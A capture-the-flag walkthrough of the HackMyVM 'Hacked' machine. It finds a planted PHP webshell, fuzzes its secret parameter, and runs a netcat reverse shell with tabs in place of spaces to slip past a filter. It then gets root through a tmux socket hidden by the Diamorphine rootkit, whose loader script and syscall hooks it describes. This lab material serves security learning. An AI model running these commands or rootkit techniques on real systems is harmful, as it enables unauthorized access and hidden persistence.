HMV Hacked Summary
Scope
- Name: Hacked
- Difficulty: (5/10)
- OS: Linux
- IP: hacked.hmv(192.168.56.106)
Foothold
First, I reconstructed the key steps h4x0r used to compromise this machine based on the clues he
left behind: he deployed a persistent backdoor on the system.
❯ curl http://hacked.hmv HACKED BY h4x0r ❯ curl http://hacked.hmv/robots.txt /secretnote.txt ❯ curl http://hacked.hmv/secretnote.txt [X] Enumeration [X] Exploitation [X] Privesc [X] Maintaining Access. |__> Webshell installed. |__> Root shell created. -h4x0r
Then I obtain that backdoor via web enumeration by backdoor_list.txt dictionary.
❯ feroxbuster -u http://hacked.hmv/ -w /usr/share/wordlists/seclists/Web-Shells/backdoor_list.txt -x php,html,txt,js ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.13.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://hacked.hmv/ 🚩 In-Scope Url │ hacked.hmv 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/seclists/Web-Shells/backdoor_list.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /home/curtain/.config/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt, js] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 1l 3w 16c http://hacked.hmv/ 200 GET 1l 3w 16c http://hacked.hmv/index.html 302 GET 1l 10w 62c http://hacked.hmv/simple-backdoor.php => http://hacked.hmv/ [####################] - 1s 3865/3865 0s found:3 errors:1 [####################] - 0s 3865/3865 20668/s http://hacked.hmv/
It looks like this backdoor requires a specific parameter.
❯ curl http://hacked.hmv/simple-backdoor.php I modified this webshell to only execute my secret parameter.
Just like when fuzzing the backdoor, I found several wordlists in Seclists that can be used to fuzz request parameters.
❯ fd . /usr/share/wordlists/seclists/ | rg para /usr/share/wordlists/seclists/Discovery/Web-Content/url-params_from-top-55-most-popular-apps.txt /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt /usr/share/wordlists/seclists/Passwords/Default-Credentials/Routers/paradigm_default-users.txt /usr/share/wordlists/seclists/Passwords/Default-Credentials/Routers/paradyne_default-users.txt /usr/share/wordlists/seclists/Passwords/Default-Credentials/Routers/paradyne_default-passwords.txt /usr/share/wordlists/seclists/Passwords/Default-Credentials/Routers/paradigm_default-passwords.txt ❯ head /usr/share/wordlists/seclists/Discovery/Web-Content/url-params_from-top-55-most-popular-apps.txt MD TermUrl a adjust_campaign alternatives amount app app_id appname avoid
Luckily, I got it. That special parameter is secret.
❯ ffuf -u 'http://hacked.hmv/simple-backdoor.php?FUZZ=id' -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 62 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0 ________________________________________________ :: Method : GET :: URL : http://hacked.hmv/simple-backdoor.php?FUZZ=id :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 62 ________________________________________________ secret [Status: 302, Size: 115, Words: 12, Lines: 2, Duration: 12ms]
From there, things were straightforward. I first verified that this parameter could be used for RCE, then crafted a reverse shell to gain an initial foothold on the system.
❯ curl 'http://hacked.hmv/simple-backdoor.php?secret=id' I modified this webshell to only execute my secret parameter. uid=33(www-data) gid=33(www-data) groups=33(www-data)% ❯ curl 'http://hacked.hmv/simple-backdoor.php?secret=nc%09192.168.56.1%091234%09-e%09/bin/bash'
One additional thing to note is that it filtered out spaces, so I used tabs instead.
Privilege Escalation
User Information
www-data@hacked:~/html$ grep 'sh$' /etc/passwd root:x:0:0:root:/root:/bin/bash h4x0r:x:1000:1000:h4x0r,,,:/home/h4x0r:/bin/bash www-data@hacked:~/html$ ls -al /home total 12 drwxr-xr-x 3 root root 4096 Nov 15 2020 . drwxr-xr-x 18 root root 4096 Nov 15 2020 .. drwxr-xr-x 2 h4x0r h4x0r 4096 Nov 15 2020 h4x0r
Network
www-data@hacked:~/html$ ss -tnlup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=396,fd=6))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:80 [::]:* users:(("nginx",pid=396,fd=7))
tcp LISTEN 0 128 [::]:22 [::]:*
Interesting Socket File
www-data@hacked:~$ ls -al /tmp
total 32
drwxrwxrwt 8 root root 4096 Mar 26 11:09 .
drwxr-xr-x 18 root root 4096 Nov 15 2020 ..
drwxrwxrwt 2 root root 4096 Mar 26 03:26 .ICE-unix
drwxrwxrwt 2 root root 4096 Mar 26 03:26 .Test-unix
drwxrwxrwt 2 root root 4096 Mar 26 03:26 .X11-unix
drwxrwxrwt 2 root root 4096 Mar 26 03:26 .XIM-unix
drwxrwxrwt 2 root root 4096 Mar 26 03:26 .font-unix
srwxrwxrwx 1 root root 0 Mar 26 03:26 .hacked (hacked)
drwx------ 3 root root 4096 Mar 26 03:26 systemd-private-cb57cb2172604c5b9b600495539850aa-systemd-timesyncd.service-ttnEY7
This socket file named .hacked looked highly suspicious. I tried using tools like lsof and ps to
figure out which process had created it, but came up empty.
Based on the clues I had gathered earlier, I suspected that this critical information was being
hidden by Rootkit. So i tried manually extracting process startup information from
/proc/$PID/cmdline. Fortunately, it worked: I discovered that the filed had been created by a tmux
process, and then used tmux attach to obtain a root shell.
Here is the cronjob for root.
# crontab -l # m h dom mon dow command @reboot /bin/sh /root/hacked.sh
#!/bin/bash /usr/sbin/insmod /root/Diamorphine/diamorphine.ko tmux -S /tmp/.hacked new-session -d chmod 777 /tmp/.hacked kill -31 $(pgrep tmux)
Rootkit (Diamorphine)
As we can see, the script starts by loading a Diamorphine kernel module and, at the end, sends
signal 31 to the tmux process. After that, I cloud no longer see it in the process list with tools
like ps. The source code for this kernel module was in root's home directory, and I later found the
corresponding repository on Github.
After analyzing it, I found that this module hooks three system calls: kill, getdents, and
getdents64. Hooking kill serves three purposes:
- hiding a specified process by tagging it with a special marker (PFINVISIBLE).
- modifying the current process's
credstructure to grant it root privileges. - showing or hiding itself by manipulating the module linked list.
It then checks for that special tag during subsequent getdents calls and filters the results
accordingly. affecting commands like ls and ps that rely on directory traversal.
At the same time, it supports multiple architectures and kernel versions. I learned a lot of
kernel-related techniques from it, such as manipulating CR0 register write protection and locating
the system call table. Overall, this repo is well worth studyin closely for understand rootkie
techniques and how they are developed.